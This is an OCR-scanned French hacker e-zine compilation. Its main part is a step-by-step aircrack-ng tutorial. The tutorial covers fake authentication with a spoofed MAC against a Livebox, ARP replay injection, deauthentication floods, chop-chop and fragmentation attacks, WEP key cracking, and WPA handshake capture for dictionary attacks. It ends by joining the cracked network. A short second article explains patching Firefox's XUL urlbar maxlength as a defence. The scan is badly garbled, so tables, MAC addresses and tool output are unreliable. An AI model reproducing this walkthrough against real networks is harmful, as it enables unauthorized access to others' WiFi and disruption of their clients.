Par ShOck

I - Introduction. Introduction
Il - La base du wifi.
Il - Fonctionnement de la suite aircrack-ng.

IV - La pratique =). X . .
\ Dans ce paper, vous allez apprendre a vous servir de la suite

V - L'attaque Chop Chop. . aircrack-ng, tout d'abord, je vais parler du coté théorique de
VI - L'attaque fragmentation. la chose, les méthodes de modulation utilisées, les méthodes
VIl - Aircrack-ng et Aircrack-ptw. de cryptage, et apres cela, je passerais a la pratique qui est
VIII - Phase finale du crack WEP. pour ma part la partie la plus intéressante, pourquoi donc
parler de la théorie ? tout simplement parce qu'une personne

IX - qraCk ‘_NPA' en mesure d'auditer un point wifi doit savoir un minimum de
X - Airoscript, Spoonwep et Spoonwpa. choses, la base y compris, plusieurs lieux peuvent étre

vulnérables, comme des macdo, ou des endroits ou il y a
beaucoup de batiments.
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Il. La base du WiFi

Le wifi est basé sur des normes, il existe quatre
normes a ce jour :

La norme 802.11b Elle utilise comme type de
modulation, le PSK (Phase Shift Keying) ou le QPSK
(Quadrature Phase Shift Keying) qui permet d'avoir des
débits deux fois plus élevés par rapport au PSK, la
norme 802.11b peut atteindre des débits de 1 mb/s a
11 mb/s, ce qui n'est plus trop utilisé de nos jours.

La norme 802.11a : Contrairement a la norme 802.11b,
cette norme utilise la modulation OFDM (Orthogonal
Frequency Division Multiplexing) et permet d'avoir un
débit de 54 mb/s. La norme 802.11g : Comme la norme
802.11a, cette norme utilise la modulation

OFDM et permet d'avoir un débit de 54 mby/s,
contrairement a la norme 802.11a, cette norme est
plus aboutie donc plus

utilisée.

La norme 802.11n : Cette norme compte remplacer le
802.11g car les débits seront plus élevés, on parle de
débits d'une centaine de mb/s voir plus. Le wifi
fonctionne a une fréquence d'environ 2.4 ghz pour
quelques milliwatts, plus on a de Dbi, plus on peut
capter un signal loin, le wifi comporte 14 canaux de
frégquences plus ou moins puissants :

+++

+ Canal | Frégquence |
Fommmmm e +
+ 1 | z.412  +
+ 2 | z.417T  +
+ 3 | z.422  +
+ 4 | 2,427  +
+ 5 | 2.432 +
+ & | 2,437 +
+ 7 | 2,442 +
+ B | 2.447 +
+ 8 | 2.452 +
+ 10 | 2,437 +
+ 11 | 2,482 +
+ 2 | 2.4e7 +
+ 13 | 2.472 +
+ 14 | 2.484 +
Fom e +

I1l. Fonctionnement de la suite
aircrack

Tout d'abord, la suite aircrack-ng marche par étape :

- Activation du monitor mode de la carte compatible
avec airmon-ng (il faut un chipset wifi compatible avec
la capture de paquets et le fake auth par adresse mac
que nous verrons plus tard).

- Capture de paquets avec airodump-ng.

- Stimulation du réseau avec aireplay-ng (il existe
plusieurs attaques pour capturer encore plus de
paquets que nous verrons également, il s'agit de la
méthode chop chop et fragmentation).

] I'
|
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- Crack de la clef avec aircrack-ng. Le but de la suite
aircrack est en fait, de capturer les paquets envoyés
sur le réseau par le routeur wifi grace a airodump-ng et
de décrypter les paquets recus avec aircrack-ng par
algorithme pour une clef wep ou par dictionnaire

pour une clef wpa ou wpa-psk qui sont des clefs un peu
plus sécurisées.

IV. La pratique

Donc, pour le moment, nous allons prendre comme
exemple, une clef wifi en wep (128 bits) sur une
livebox (qui dit livebox, dit association par adresse
mac, ¢a complique un peu la chose). Donc, nous
devons trouver la clef wifi rien qu'avec la suite
aircrack-ng, nous allons faire ceci par étapes, c'est
parti :

Nous ouvrons donc une console, nous passons en root
et nous faisons ceci :

$ airmon-ng

La liste des interfaces wifi apparait, maintenant, nous
faisons ceci :

$ airmon-ng start "l'interface wifi"
Pour ma part, ¢a sera :
$ airmon-ng start wlanO

J'utiliserais cette interface wifi durant tout le tutoriel,
tachez donc de la modifier a chaque fois pour vous.

Si votre carte wifi n'est pas détectée dans airmon-ng, il
faut I'activer :

$ ifconfig wlanO up

Une fois la carte activée et le "monitor mode enabled",
nous pouvons continuer avec airodump-ng.

$ airodump-ng --write "Nomquevousvoulez"
--channel "lechanneldelalivebox" "interfacewifi"
Pour ma part, cela sera donc :

$ airodump-ng --write tutoriel --channel 1 wlan0

Si on ne connait pas le channel de la livebox, on peut
faire comme ceci :

$ airodump-ng --write tutoriel wlanO

Les cannaux seront analysés un par un jusqu'a trouver
la livebox, une fois trouvée, il suffit de regarder la case
"CH XX"

pour connaitre le channel de la livebox. Une fois la
livebox trouvée, on voit la colonne BSSID, elle
correspond a l'adresse mac de la livebox. La colonne
ESSID correspond au nom de la livebox. Pour étre plus
précis dans la capture, nous pouvons relancer
airodump-ng comme ceci :

$ airodump-ng --write tutoriel2 --channel XX
--bssid XX:XX:XX:XX:XX:XX wlanO
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XX = Correspond au numéro du channel vus dans la case CH.

XX XX:XX:XX:XX:XX = Correspond a I'adresse mac de la livebox.

wlan0 = Correspond a notre interface wifi.

La colonne #data nous intéresse fortement car cela correspond aux ivs qui nous permettront de cracker la clef avec aircrack, ce
sont des petits morceaux de données envoyés par la livebox et recus sur notre pc grace a notre carte wifi. Maintenant, nous
allons stimuler le réseau afin de capturer encore plus de paquets grace a aireplay. Comme nous attaquons une livebox, elle est
protégée par une association par adresse mac, nous allons donc tenter une attaque dites "Fake Auth" qui a pour but de voler une
adresse mac déja assignée.

$ aireplay-ng -1 0 -e ESSID -a BSSID -h STATION wlan0

-1 indique a aircrack qu'on veut faire une fake auth, 0 est le temps entre deux tentatives.
ESSID est le nom de la livebox (que I'on voit dans la colonne ESSID dans airodump-ng).
BSSID est I'adresse mac de la livebox (voir la colonne BSSID).

STATION est I'adresse mac de la station (voir colonne STATION).

wlan0 est notre interface.

Exemple :

$ aireplay-ng -1 0 -e Livebox-1490 -a XX:XX:XX:XX:XX:XX -h yy:yy:yy:yy:yy:yy wlanO
A ce moment 13, nous devons avoir des messages du genre :

17:55:34 Sending Authentication Request
17:55:34 Sending Authentication Request
17:55:34 Sending Authentication Request
17:55:34 Sending Authentication Request
17:55:34 Authentication successful
17:55:34 Sending Authentication Request
17:55:34 Association successful

Le nombre de Sending Authentication Request peut varier en fonction de la qualité du signal et de certains facteurs. Maintenant
gue nous sommes associé avec le fake auth, on va faire une injection de paquets, c'est la clef pour réussir un crack wep
rapidement, ca nous évite d'y passer la semaine pour capturer des ivs, sachant qu'il nous en faut environ 1 000 000 pour une
clef 128 bits et 300 000 pour une clef 64 bits. Voici comment procéder pour faire une réinjection d'arp :

$ aireplay-ng -3 -e ESSID -b BSSID -h STATION wlanO

A la place de -1 pour la stimulation du réseau, nous avons -3 pour la réinjection d'ARP.
Exemple :

$ aireplay-ng -3 -e Livebox-1490 -b XX:XX:XX:XX:XX:XX -h yy:yy:yy:yy:yy:yy wlanO

On peut rajouter aussi le paramétre -x XXX qui représente la vitesse d'injection des paquets, par défaut, 600 paquets/s. Vous
pouvez augmenter ou diminuer cette valeure en fonction de la qualité du signal mais évitez d'injecter trop rapidement, vous
pouvez faire planter I'AP. Maintenant si tout se passe bien, nous pouvons voir que dans airodump-ng, les ivs augmentent ainsi
que les ARP capturés.

Si vous n'arrivez pas a capturer d'ARP, il existe un moyen, c'est de forcer une station de se déconnecter avec aireplay.
Cela ne fonctionne pas toujours mais voici la commande :

$ aireplay-ng -0 1 -a XX:XX:XXGXX:XX:XX -c 2Z2:2Z7:27:27:727:Z7Z wlanO

-0 signale a aireplay gu'on veut faire une attaque de deauthentication.

1 correspond aux nombres de tentatives, si on mets cette valeure a 0, on produit une attaque en boucle (plus efficace).

-a correspond a I'adresse mac de la livebox.

-c correspond a I'adresse mac que I'on veut déconnecter, si on ne mets pas le paramétre -c dans la commande, on déconnecte
tout le monde (pas trés utile sauf dans certains cas).

wlan0 correspond a notre interface.

Maintenant, nous allons apprendre les deux autres attaques possibles (Chop chop et fragmentation).

g ' s
]
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L'attaque Chop Chop consiste a injecter un faux arp afin de stimuler le réseau donc a avoir des ivs, ceci est utile quand une
station ne géneére pas d'arp. Toute la théorie de I'attaque Chop Chop peut étre visionnée ici :

http://www.aircrack-ng.org/doku.php?id=chopchoptheory

Maintenant que la théorie est faite, voici la pratique :

IV. L'attaque Chop Chop

$ aireplay-ng -4 -h yy:yy:yy:yy:yy:yy -b XOGXX:XX:XX:XX:XX wlanO

-4 signale a aireplay que nous voulons faire une attague Chop Chop.

-h yy:yy:yy:yy:yy:yy correspond a I'adresse mac de la colonne STATION.
-b XX XX XX:XX:XX: XX correspond a |'adresse mac de la livebox.

wlan0 a notre interface wifi.

Nous avons une réponse ressemblante a ca :

B T T + Offset €8 (32% dome) | xor = AE | pt = 00 | 248 frames written in T44ms
Read 165 packets... Offset €7 (34% done) | xor = FB | pt = 00 | 105 frames written in 315ms
Offset EE (3% dome) | xor = 43 | pt = 00 | 101 frames written inm 303ms
Size: 86, FromDS: 1, ToD5: 0 (WEP) QOffset €5 (38% dome) | xor = D4 | pt = 00 | 158 frames written inm 474ms
! ’ Offset €4 (40% dome) | xor = L€ | pt = 00 | 157 frames written in  55lms
BSSID = 00:14:5C:7E:40:E80 QOffset £3 (42% domne) | xoxr = TF | pt = 0C | T2 frames written in 217ms
e e o Offset €2 (44% dome) | xor = LF | pt = 37 | 1éé frames written in  4597ms
g:i;elﬁc = FguFioF;:;Fg?ngFgg Offset €L (46% dome) | xor = SC | pt = AB | 119 frames written in  357ms
- TmrE o IrEEe Offset E0 (48% done) | xor = 8B | pt = CO | 225 frames written in EBTms
. Qffset 5% (50% dome) | xor = 91 | pt = 00 | 113 frames written in 33tms
0x0000: D842 DOOO £EEf £LEf LEE DDL4 EcTe 4080 Offset 5B (51% dome) | xor = 25 | pt = 00 | 184 frames written in  55Zms
0x0010: 0040 £477 e5c9 603a deD0 0000 S5fed aZil Offset 57 (53% dome) | xor = 94 | pt = 00 | 33 frames written in 9oms
0x0020: eZee aad8 B312 £59d cBel afSf 3ddd a543 Offset 56 (55% dome) | xor = F3 | pt = 00 | 193 frames written in  579ms
0x0030: dlca Oc®b Eaeb fadé £394 2591 5bfd4 2873 Offset 55 (57% dome) | xor = DE | pt = 00 | 17 frames written in 51lms
0x0040: lédd4d 43fb aebb 3eal 7101 TZ%e &5ca €505 Offset 54 (59% dome) | xor = FA | pt = 00 | 81 frames written in 243ms
0x0050: cfezb 4a7Il bedé QOffset 533 (€l% dome) | xor = EA | pt = 01 | %5 frames written in ZB5ms
Offset 52 (€3% dome) | xor = 5D | pt = 37 | 24 frames written in 7Zms
Use this packet ? y Offset 51 (€5% dome) | xor = 33 | pt = AE | 20 frames written in 5oms
Sy + Offset 50 (€7% dome) | xor = CC | pt = CO | %7 frames written in Z91ms
Offset 4% (£9% dome) | xor = 03 | pt = C% | 188 frames written in SEEms
Nous devons donc confirmer avec "y". Offset 48 (71% dome) | xor = 34 | pt = E5 | 48 frames written in 14Ims
Offset 47 (73% dome) | xor = 34 | pt = 77 | £4 frames written in 192Zms
- Offset 4& (75% dome) | xor = 51 | pt = F4 | 253 frames written in 755ms
. - Offset 45 (7€% dome) | xor = 98 | pt = 40 | 109 frames written in 327ms
5 h ket 1 -0Z01-191&3%8.
aving chosen packet in replay_srte cap Offset 44 (78% dome) | xor = 3D | pt = 00 | 242 frames written in  72éms
- X Offset 43 (B0% dome) | xor = 5E | pt = 01 | 1%4 frames written in 583ms
Offzet 85 ( 0% dome) | ®or = D3 | pt = 95 | 253 frames written in Telmz Offset a0 EB:% done% | xor = AF | }Jt - 00 o0 frames writtenm in P
Offset 84 { 1% dome) | xor = EB | pt = 55 | 186 frames written in  498BS pepoer 41 (B4% done) | xor = C4 | pt = 04 | 164 frames written in  492ms
Offset 83 ( 3% dome) | xor = 47 | pt = 35 | 215 frames written .?n EA5ME prfcer 40 (BE% done) | xor = CE | pt = 06 | 0 frames written in 207ms
Offset 82 | 5% dome) | ®or = 07 | pt = 4D | lE.’L‘ frames written .?n 4B3ms OFfset 3% (BE8% dome) | xor = 8D | pt = 00 | 137 frames written in 4111ms
Offset 81 { 7% dome) | ®or = EE | pt = 00 | 12 frames written in 36ms offset 38 (90% dome) | xor = FD | pt = OB | 229 frames written in  &B8ms
Offset 80 ( 9% dome) | ®xor = CF | pt = 00 | 152 frames written in 45EmS Offset 37 (92% dome) | xor = 13 | pt = 01 | 232 frames written in E95ms
Offset T¢ (11% dome) | =or = 05 | pt = 00 | 29 frames written in BTms Offsetc 3E (94% done) | xor = 83 | pt = 00 | 1% frames written in 58ms
Offset 78 (13% dome) | ®or = 65 | pt = 00 | 151 frames written in 454ms Offset 35 (9€% donme) | xor = 4FE | pt = 0 | 230 frames written in £BSms
Offset T7 (15% dome) | ®%or = CA | pt = 00 | 24 frames written in 7lms 3Sent 557 packets, current guess: BS...
Offset TE (17% dome) | ®or = 65 | pt = 00 | 129 frames written in 3BTms
Offset 75 (1%% dome) | xor = 9E | pt = 00 | 36 frames written in 108ms The AP appears to drop packets shorter than 35 bytes.
Offset 74 (21% dome) | xor = 72 | pt = 00 | 3% frames written in  117ms Enabling standard workaround: ARP header re-creation.
Offset 73 (23% dome) | xor = 01 | pt = 00 | 146 frames written in  438ms ) . . .
Offset 72 (25% dome) | xor = 71 | pt = 00 | B3 frames written in  249ps -2VIRY plaintext in replay dec-D201-181702.cap
Offset 71 (2€% dome) | ®or = Al | pt = 00 | 43 frames written in 126ms Saving keystream in replay dec-0201-151708.xor
Offset 70 (28% dome) | xor = 3E | pt = 00 | S8 frames written in  ZG4ms Completed in 21s (2.26 bytes/s|
Offset €% (30% dome) | ®%or = BE | pt = 00 | 129 frames written in 3BTms F,,E,,,,,,,,,j,,,,:i,,,? 77777777777777777777777777777777777777777777777777 n
Nous avons fini, le fichier "replay_dec-0201-191706.xor" peut étre utiliser pour générer
des paquets avec packetforge-ng. http://www.aircrack-ng.org/doku.php?
id=packetforge-ng
$ packetforge-ng -9 -r input.cap -y replay_dec-0201-191706.xor -w output.cap
Nous pouvons aussi utiliser I'attaque
-9 signale a packetforge-ng que I'on veut générer un paquet aléatoire. Chop Chop sans authentification :
-r input.cap correspond au fichier d'entrée.
-y replay_dec-0201-191706.xor correspond a notre fichier généré. $ aireplay-ng -4 -b XX:XX:XX:XX:XX: XX
-w output.cap correspond au fichier de sortie. wlanO

Il'y a plusieurs méthodes pour forger un paquet arp, vous pouvez les voir ici :

i e


http://www.aircrack-ng.org/doku.php?id=packetforge-ng
http://www.aircrack-ng.org/doku.php?id=packetforge-ng
http://www.aircrack-ng.org/doku.php?id=chopchoptheory
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VI. L'attaque par fragmentation

Comme pour |'attaque Chop Chop, I'attaque fragmentation a pour but de générer un .xor pour ensuite forget un paquet arp avec
packetforge-ng.

Voici la commande :

$ aireplay-ng -5 -b XOGXXGXX:XX:XX:XX -h yy:yy:yy:yy:yy:yy wlanO
-5 signale a aireplay que nous voulons faire une attaque fragmentation.
-h yy:yy:yy:yy:yy:yy correspond a I'adresse mac de la colonne STATION.

-b XX:XX:XX:XX:XX:XX correspond a I'adresse mac de la livebox.
wlan0 a notre interface wifi.

VII. Aircrack-ng et Aircrack-ptw

Le but est d'assembler les deux algorithmes ensemblent, pour cela, voici comment faire :

Se mettre en root et aller dans le répertoire ou se trouve votre .cap et faire cette commande.
$ aircrack-ng -z *.cap

-z sert a assembler aircrack-ng et aircrack-ptw ensemblent.
*.cap est votre fichier .cap, il suffit de modifier * par le nom de votre fichier.

Si aircrack-ng arrive a décrypter votre .cap, vous devriez obtenir a peu pres ceci :

Ou bien :
Shel - Konsole

Transcient Key .

EAPOL HMAC ¢ C7T BB AF B3.59 CF 04 B8

o | 1 —————
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Ou bien celle ci :

fudge factor
tried / keys at 3:

Ce sont des images approximatives, la seule qui nous intéresse est le key found avec la clef ou le pass secret.

VIIl - Phase finale du crack WEP

Une fois la clef trouvée, il vous suffit de changer votre adresse mac par celle spoofée durant le tutoriel :
$ ifconfig wlan0O hw ether yy:yy:yy:yy:yy:yy

(Remplacez l'interface wlan0 par votre et I'adresse mac par celle que vous avez utilisée).

Maintenant il faut activer dhcp :

$ dhcp wlanO

Essayez de faire un ping sur un site connu comme google :

$ ping www.google.com

Si vous avez des réponses, vous étes connecté, bravo ! Sinon, I'adresse de la livebox n'est pas celle d'origine, dans ce cas, il
vous faudra utiliser un sniffer réseau comme wireshark.

|| bbb bbbt LD 111 I : |||Wm.....
T, | U L O T e
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IX - Crack WPA

Nous allons faire des commandes basiques vus plus haut, vous pourrez les comprendre en regardant les autres exemples :
$ airmon-ng start wlanO
$ airodump-ng --write crackwpa --channel XX --encrypt wpa wlanO

Maintenant comparé au crack WEP, le but n'est plus de faire une fake auth mais de faire une désauthentification des stations
connectées. Le but est d'obtenir un Handshake (obligatoire pour lancer I'attaque par dictionnaire).

$ aireplay-ng -0 1 -a BSSID -c STATION wlan0

-0 indigue qu'il s'agit d'une désauthentification.

1 est le nombre de tentatives, mettre 0 pour illimité.

BSSID est I'adresse mac de la colonne BSSID.

STATION est I'adresse mac de la colonne STATION (Facultative mais recommandée).

Aprés la désauthentification, attendez que le client se reconnecte, vous devrez avoir un Handshake, pour vérifier, lancez aircrack

$ aircrack-ng *.cap

Ne remplacez rien dans cette commande.

Logiquement, vous devriez voir une liste, si dans la catégorie "Encryption" vous voyez "WPA (1 Handshake)", c'est bon,on peut
continuer. Donc, pour décrypter la clef, vous avez besoin d'un dictionnaire (il y en a pleins sur internet).

Une fois que vous en avez un, lancez aircrack comme ceci :

$ aircrack-ng -w Chemindudico *.cap

Chemindudico = Vous devez remplacer ¢a par le chemin du dico, exemple : Desktop/dico.txt

*.cap = Vous devez remplacer * par le nom de votre .cap.

Aircrack se chargera de décrypter la clef mais vous avez le temps d'aller dormir, en effet, en wpa, le décryptage de la clef peut
durer deux heures comme deux jours.

X - Airoscript, Spoonwep et Spoonwpa.

Airoscript est un script qui utilise la suite aircrack-ng mais qui facilite beaucoup I'exploitation, vous pourez le trouver ici :
http://airoscript.aircrack-ng.org/download.html.

Un manuel est disponible sur le site méme si cela reste relativement simple.

Spoonwep et Spoonwpa sont des équivalents a airoscript mais en interface graphique, le must en rapidité.

Vous pouvez les avoir ici :

http://neovortex.kodings.googlepages.com/spoonwep?2.lzm

http://shamanvirtuel.googlepages.com/SWPA.lzm

TR T —


http://shamanvirtuel.googlepages.com/SWPA.lzm
http://neovortex.kodings.googlepages.com/spoonwep2.lzm
http://airoscript.aircrack-ng.org/download.html
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Firefox Maxlength Patching
par p3lo

Client patch :Browser Reversing tutorial -> XUL maxlength patch

Le danger maxlength.

A savoir : NB.

Etape 1 localisation et test temporaire.

Etape 2 Extracting and reversing.

Etape 3 Compilation et/ou compression de I'archive JAR.
How to break frames with javascript.

Conclusion.
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Dans cet article je vais vous parler d'un phénomene assez commun et exploité dans la sécurité. Celui-ci se nomme le danger
Maxlength , c'est un danger omniprésent auquel tout développeur est confronté un jour ou l'autre , le danger maxlength lorsque
celui-ci est exploité peut mené a des failles tres diversifiées , cela peut aboutir a des débordements de pile , de tampon de heap,
un déni de service , un déni distribué de services, nous avons découvert qu'il été possible de I'exploiter dans des attaques de
spoofing.

1. Le danger maxlength (résumé des poc précédents)

Ce danger fait partie intégrante du systéeme que nous utilisons , il été déja présent lors de la création de la machine de turing
c'est pour dire , en réalité comme la plupart des grosses failles , a la base c'est une fonctionnalité qui est vulnérable que si son
utilisation malicieuse n'a pas été prévue auparavant, donc heureusement pour nous il existe donc des moyens de prévenir ces
types de vulnérabilités. Dans cet article je parlerais de la taille de la chaine de caracteres que I'on peut inséré a l'intérieur d'une
barre URL plus particulierement en voulant éxécuté arbitrairement du javascript ou des langages tiers par l'intermédiaire des
protocoles javascript et data. En lisant les diverses preuves de concept préalablement publiées sur la toile vous comprendrez
qu'il existe des multitudes d'exploitations possibles relative a la taille de I'URL. Je ne développerais pas ce sujet de black box
pentest dans cet article car je risquerais de trop m'étaler sur le sujet, par contre je le ferais surement dans un autre numéro.

Pour vous faire un rapide exemple d'une des possibilitées d'exploitation de la taille des URL créez un fichier texte puis endormez
vous sur la touche A, vous pouvez aussi tenter de boire une bouteille de pastis cul sec au dessus de votre clavier , |'effet
escompté sera le méme . AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA etc.... faites en sorte que le résultat obtenu
ressemble a plusieurs pages de données puis copiez-collez le contenu dans la barre d'url de firefox , lorsque firefox tentera
d'atteindre I'url il est probable qu'un ralentissement se fasse sentir. Imaginez le résultat de ce genre d'attaque en utilisant des
scripts permettant d'étre réencodés ,recryptés a l'intérieur de la barrre d'url.

Vous |'aurez compris, plus la taille de I'url est longue et plus les possibilités de polymorphisme pour le scripting des sources
malicieuse seront nombreuses. Donc les meilleurs moyens de sécuriser le tout sera d'abord de filtrer ce qui passera par le
protocole javascript ou data a l'intérieur du navigateur grace a des filtres, noscript (http://noscript.net/) , adblock concu a cet
effet. Ensuite la meilleur maniere de prévenir I'attaque est d'informer |'utilisateur qu’'il utilise le protocole javascript pour le
sensibiliser des risques potentiels. Le soucis dans le cas de firefox deumeurre dans le fait que le plugin noscript n'est pas installé
nativement dans le package d’installation. Les CSP actuels ne filtrant pas assez le contenu. Dans tous les cas je profiterais de la
« hackabilité » de firefox pour expliquer le correctif a adopter.

2 . A savoir

Certes réduire la taille des scripts n’est pas seulement la sécurité a adopté contre ce genre de techniques mais cela réduit le
nombre infiniment grand d’obfuscation possibles des scripts potentiellement malicieux. En soit le plugin noscript forme la
premiére sécurité en termes de filtrage url mais il n’est pas intégré nativement dans firefox . Donc je vous propose un petit tuto
pour patché firefox et réduire la taille du contenu inséré dans I'urlbar a 1000.Si le coeur vous en dis vous pourrez rajouter des
protection un peu plus avancées en rajoutant vos propres script partant de la meme technique.

La chance de Firefox est son potentiel énorme de bidouillabilité c’est pourquoi j’ai tenu a apprendre un peu les bases du xul pour
pouvoir patché.

Nous allons essayer d’assigner une valeur maximale grace a I'attribut maxlength dans la balise ayant pour id urlbar .

3 . Etape 1 localisation et test temporaire
Naviguez a cet endroit et affichez la source:
chrome://browser/content/browser.xul

Mozilla Firefox - Mozilla Firefox
Help
. chrom 1 ul
t I RE Wiki m | Me

~ Bl Forms - Images * @ Info ‘
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5} Source of: jar:file:///fopt/firefox/chrome/browser.jar!/content/browser/browser.xul - _

3

Acceder au fichier Xul grace au protocole chrome://

Faites en sorte d’afficher la source et lire I'adresse du fichier qui passe par le protocole jar:

File  Edit Wiew Help

<!DOCTYPE window [
<!ENTITY % brandDTD SYSTEM “chrome://branding/locales/brand. dtd" =

%hrandDTD
JENTITY % browserDTD SYSTEM “chrome://browser/locale/browser. did
%erWSErDTD'
<!ENTITY % globalDTD SYSTEM “"chrome://global/locale/global. dtd">
%glnbalDTD,
ENTITY % globalRegionDTD SYSTEM “chrome://global-region/locale/region. dtd">
%glabalReginnDTD'
<!ENTITY % charsetOTD SYSTEM “chrome:, 7t‘-n'.‘-:‘u?.-"T.f--'.':‘uT.E.-"-‘.‘."-ﬁr'FEIG‘m—"Ef'T.S_y' datg" =
%{harSEtDTD,
JENTITY % textcontextDTD SYSTEM “chrome://globalslocale/textcontext. dtd'
%textcantextDTD;
ENTITY % placesDTD SYSTEM "chrome://browser/locale/places/places.dtd

localisation du fichier grace au protocole jar

Inspectez la barre d'url a I'interieur de la fenetre de navigation grace a firebug (http://getfirebug.com/)

Script  DOM  Ne

textbox#urlbar <

homeButtondbserver) ;" ondragdrop="nsDraghndDrop, dropievent ,
homeButtonObserver) ;" ondragexit="nsDragAndDrop.dragExit (event,
homeButtonObserver) ;" onclick="BrowserGoHome(event) ;" chromedir="1tr"/=
+ <toolbaritem id="dwhelper-toolbaritem" class="toolbaritem-1 chromeclass-toolbar-
additional" align="center" pack="end" flex="0" context="_child"=
= <toolbaritem id="urlbar-container" class="chromeclass -
location" align="center" flex="400" persist="width" title="Location"=
= =textbox id="urlbar" flex="1" bookmarkhistoryemptytext="5Search Bookmarks and
ory" bookmarkemptytext="Search Bookmarks" historyemptytext="Search
History" noneemptytext="Type a wWeb
address" chromedir="1tr" type="autocomplete" autocompletesearch="history" autd

this.value;" ontextermtered="this.handleCommand(param) ;" ortextreverted="retur
this.handleRevert():" pageproxystate="invalid" onsearchbegin="LocationBarHelpd

#uhi%psencss("ne281]
f:

-moz -background-

clip: border;

-moz -background-inline-
policy: cortinuous ;
-moz -background-
arigin: padding;
background: transparemt
url{chrome://browser
Jfskin/icans
Jrightcap.png)
no-repeat scroll right
center;

border: medium none
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Editez la balise textbox pour y inséré votre attribut (a savoir: lorsque la balise textbox est écrite dans fichier xul , ses attributs et
caractéristiques sont séparés par des retour a la ligne)

Inspection xul avec firebug:

Script DOM Net BE B o

Layout DOM

This element has no style
rules.

History" bookmarkemptytext="Search Bookmarks" historyemptytext="Search History"
noneemptytext="Type a Web address" chromedir="1tr" type="autocomplete"
autocompletesearch="history" autocompletepopup="FPopupbutoCompleteRichResult"”
completeselectedindex="t rue" tabscrolling="true" showcommertcolumn="true" showimagecolumn="trus"
enablehistory="true" maxrows="6" newlines="stripsurroundingwhitespace"
aninput="gBrowser.userTypedialue = this.value;" ontextentered="this.handleCommand|param):"
ontextreverted="return this.handleRevert():" pageproxystate="inwvalid"
onsearchbegin="LocationBarHelpers._searchBegin():"
onsearchcomplete="LocationBarHelpers._searchComplete() ;"

onfocus="documert . getElementById| 'identity-box') . .style.MozlUserFocus= 'normal'"

onblur="document . getELlementById( 'identity-box') . style.MozUserFocus = 'ignore';"
sizetopopup="pref" completedefaultindex="false" phproxy-show-icon="2" nomatch="true"=<hox
id="idertity-box" role="button" chromedir="ltr"
onclick="gIldentityHandlLer.handleldentityButtonEvent (event) "

e e e T ke oy S TR LN B 1 TNy e 0 | e Rt

Edition de fichier XUL(temporaire) avec firebug

Vérifiez si sa marche temporairement en insérant un script de test de plus de 1000 caracteres.

4 . Etape 2 extraction et reverse :

La seconde étape va consister a extraire le contenu de |'archive jar (avec Winrar sur windows ,ou ark sur backtrack/attack vector
-0S) dans ce tutoriel j'utilise AttackvectorOS , un OS que je suis en train de congevoir et un firefox boosté en plugin de pentest
web que je mettrais en ligne bientot. Une fois I'archive extraite nous pourrons modifier le contenu du fichier browser.xul avec
nottre valeur a ajouter:

maxlength= « 1000 »

Fermez toutes les instances de firefox.

Naviguez dans le dossier que vous avez pu localiser en étape 1.

Extraire le fichier browser.jar dans un dossier de sauvegarde créé (dans I'exemple il est nommé backup) .

extraction de l'archive jar

| I'
|
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Location Edit View Go Bookmarks Tools Settings Window Help \
A ™ - oo j
JJO, Q_l_ 7 W # AN ﬂD,@u o+ J
JJ E3 Location: “-. Joptffirefox/chrome/backup/content/browser i] AR
~ TTEERTTE ] |’\|ﬁ”’1E i Size |FiIeType i ~,
(g bin v oo e T
~iglboot - % aboutRobots-icon.png 9.6 KB PNG Image
+ g dey = - % aboutRobots-widget-leftpng 2.2 KB PNGImage
+-igmlete - % aboutRobots-widget-right.png 2.2KB PNG Image
> "'-h.homE - 88 aboutRobots. xhtrml 5.7 KB XHTML Farry
'"-binstall aboutSessionRestaore js 11.5 KB |avaScript F| 3
W gl ™ - 8 aboutSessionRestore xhtml 3.1 KB XHTML Fam
(g lost+found ""@baseMenuOvenay.xul 2.1 KB Mozilla XUL|
~{gmedia - |84 browser-tabPreviews. xml 598 B XML Docur
g mint - browser.css 3.3 KB Cascading
- ot ~browserjs 302.8 KB JavaScript |
© | iigiAutoscan 78.9 KB Mozilla XUL| 4
- - = prolase Open in New Window 79.0 KB Backup File iy
+-gwbrowser ads . i
; - #8 cre ~= Openin New Tab 19.0 KB XHTML Farny A
+- g drivers : ;
- Gfirefox - @lhid e Bk 23B Mozilla XU
@) chrome |8 lice 128.9 KB HTML Docul
r e metar (RREEEY ik 17.5KB JavaScript H
ot : . -[@me  Rename F2 5.9 KB Mozilla XUL|
e . nsCon = Maove to Trash Delete 50.0 KB |avaScript i |
g branding| - e R 2
[ [ [«Tv] @ Delete Shift+Delete
[6orows  gpenwitn...

Preview In 3
‘4 EncryptFile

Properties

-r
. -

7

ouverture du fichier browser.xul

xul - KWrite

File Edit Wiew Bookmarks Tools Settings Help

Recherchez la chaine ou une partie de chaine que vous avez pu identifier avec firebug en inspectant le fichier xul.
I'exemple le bout de chaine est la balise textbox.

'S [H?'[—[*[ & T I"',[ \[#'\

k?xml version="1.0"7>

<7xml-stylesheet href="cHik Lind. Text . KWrite R css”

type="text/css"?> Find

<?xml-stylesheet href="c Text to find: /places.css”

type="text/css"?> = T 3

<?xml-stylesheet href="cl | [J Regularexpression [::::::::] ext/css"?>.

<?xml-stylesheet href="cH _gptions s" type="text/css"?>
[ Case sensitive [ Find backwards

<?xul-overlay href="chron erlay.xul"?>

<?xul-overlay href="chron | [J Wholewordsany [] verlay.xul"?>

<?xul-overlay href="chron | f From cursor acesOverlay.xul"?>

<!DOCTYPE window [ ” e ]| [* Close I

<!ENTITY % brandDTD SYSTH rand.dtd" >

%brandDTD;

<!ENTITY % browserDTD SYSTEM “"chrome://browser/locale/browser.dtd" =

%browserDTD;

<!ENTITY % globalDTD SYSTEM "chrome://global/locale/global.dtd">

%globalDTD;

I CMTTTY o AlahallDanti anlTN CWVCTECM "ersheramao F falabk= vranti anilacralalvans an Ad+Al o

recherche textbox

U gl

|

Naviguez dans le dossier extrait puis éditez le fichier nommé browser.xul avec un éditeur de texte (normalement le format xul est
enregistré au format ascii).

Dans

Sxlengh patching
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Modifiez le fichier en conséquence .

of browser.xul [modified] - KWrite

File Edit Wiew Bookmarks Tools Settings Help

o [We(z(Reoe «c F[Q[HX
ondragover="nsDragAndDrop.dragOver(event,
SESESEBBE8888 homeBut tonObserver) ; "
ondragdrop="nsDragAndDrop.drop(event,
B LaREliii homeBut tonObserver) ;
ondragexit="nsDragAndDrop.dragExit(event,
S homeBu t tonObserver) ;
onclick="BrowserGoHome(event);"/>

oo

£

<toolbaritem id="urlbar-container" align="center" flex="400"
i persist="width"
title="&locationItem.title;" class="chromeclass-location">
<textbox id="urlbar" flex="1"

